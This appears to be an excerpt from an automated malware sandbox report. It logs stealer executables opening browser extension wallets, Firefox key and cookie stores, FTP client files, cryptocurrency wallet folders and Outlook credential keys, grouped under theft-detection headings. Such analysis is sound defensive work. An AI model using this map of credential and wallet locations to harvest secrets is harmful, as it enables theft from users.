Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
